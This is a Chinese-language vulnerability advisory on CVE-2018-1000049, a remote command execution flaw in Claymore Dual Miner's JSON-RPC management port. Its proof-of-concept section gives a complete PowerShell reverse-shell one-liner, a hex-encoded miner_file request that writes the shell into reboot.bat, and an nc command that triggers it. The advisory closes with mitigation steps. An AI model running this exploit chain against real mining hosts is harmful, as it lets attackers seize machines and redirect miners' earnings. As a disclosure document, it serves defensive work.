【漏洞预警】挖矿软件Claymore Dual Miner远程命令执行漏洞(CVE-2018-1000049)

匿名者  2391天前

   近日,白帽汇安全研究院监测发现互联网上有关以太坊挖矿软件(Claymore Dual Miner)的相关漏洞, Claymore Dual Miner是一款由nanopool开发的以太坊GPU挖矿软件。2018/02/09有安全研究人员公开了关于 Claymore Dual Miner的漏洞详情,最近网络上出现出现了针对此软件的漏洞利用代码,此漏洞利用简单,导致攻击者可以很容易的远程获取主机权限,这将会影响矿工的信息安全以及资金安全,比如篡改奖励地址,控制主机等。经过白帽汇的网络空间测绘,目前全球范围内使用该类挖矿软件且对外可访问的矿机有514台,全球分布情况如下:

图片.png

漏洞原理与危害

    从7.3版本开始,开发人员引入了名为EthMan的远程管理器工具,该工具允许配置矿工远程将JSON API字符串发送到特定端口。

EthDcrMiner64.exe -epool eth-eu.dwarfpool.com:8008 -ewal 0x83718eb67761Cf59E116B92A8F5B6CFE28A186E2 -epsw x -esm 0 -asm 0 -mode 1 -mport 5555

    执行如上代码后,它会打开5555端口,默认不加-mport参数的话是启动3333端口绑定,并且绑定的0.0.0.0(对外网可访问)并等待远程管理工具ethman连接过来。

    实际上,ethman也是通过jsonrpc报文来给端口发送特定指令,此漏洞主要利用了如下指令:

  1. {"id":0,"jsonrpc":"2.0","method":"miner_reboot"}
  2. {"id":0,"jsonrpc":"2.0","method":"miner_file","params":["config.txt","HEX_ENCODED_STRING"]}

    通过名字可以看得出来上面两条jsonrpc指令的大概意思,miner_reboot是用于重启挖矿软件,miner_file是用于写入字符串到某文件(-mport参数为正数时,即开启了可写配置模式,例如:-mport 3333,当-mport 为负数时,为只读模式,例如:-mport -3333 )

    miner_reboot实际上是通过运行挖矿软件下的一个reboot.bat/reboot.sh来重启软件

    所以,通过miner_file我们可以重写reboot.bat/reboot.sh文件,然后再执行miner_reboot,于是就会调用我们重写后的reboot.bat/reboot.sh文件,达到远程命令执行。

漏洞POC

  利用powershell生成反弹shell代码

powershell.exe -Command "$client = New-Object System.Net.Sockets.TCPClient('127.0.0.1',1234);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2  = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"

然后转换成hex字符串带入参数写进重启文件(reboot.bat/reboot.sh)中

{"id":0,"jsonrpc":"2.0","method":"miner_file","params":["reboot.bat", "706f7765727368656c6c2e657865202d436f6d6d616e64202224636c69656e74203d204e65772d4f626a6563742053797374656d2e4e65742e536f636b6574732e544350436c69656e7428273132372e302e302e31272c31323334293b2473747265616d203d2024636c69656e742e47657453747265616d28293b5b627974655b5d5d246279746573203d20302e2e36353533357c257b307d3b7768696c6528282469203d202473747265616d2e52656164282462797465732c20302c202462797465732e4c656e6774682929202d6e652030297b3b2464617461203d20284e65772d4f626a656374202d547970654e616d652053797374656d2e546578742e4153434949456e636f64696e67292e476574537472696e67282462797465732c302c202469293b2473656e646261636b203d202869657820246461746120323e2631207c204f75742d537472696e6720293b2473656e646261636b3220203d202473656e646261636b202b202750532027202b2028707764292e50617468202b20273e20273b2473656e6462797465203d20285b746578742e656e636f64696e675d3a3a4153434949292e4765744279746573282473656e646261636b32293b2473747265616d2e5772697465282473656e64627974652c302c2473656e64627974652e4c656e677468293b2473747265616d2e466c75736828297d3b24636c69656e742e436c6f7365282922"]}

发送重启指令调用重启脚本

echo -e '{"id":0,"jsonrpc":"2.0","method":"miner_reboot"}\n' | nc 127.0.0.1 5555 && echo

图片.png

CVE编号

   CVE-2018-1000049

修复建议

    1.关闭jsonrpc端口

    2.配置防火墙,将jsonrpc端口做访问限制

    3.启动监控时候-mport -端口号 ,来关闭可写模式

    4.启动输入-epsw 设置密码,限制访问

参考

https://reversebrain.github.io/2018/02/01/Claymore-Dual-Miner-Remote-Code-Execution/

最新评论

昵称
邮箱
提交评论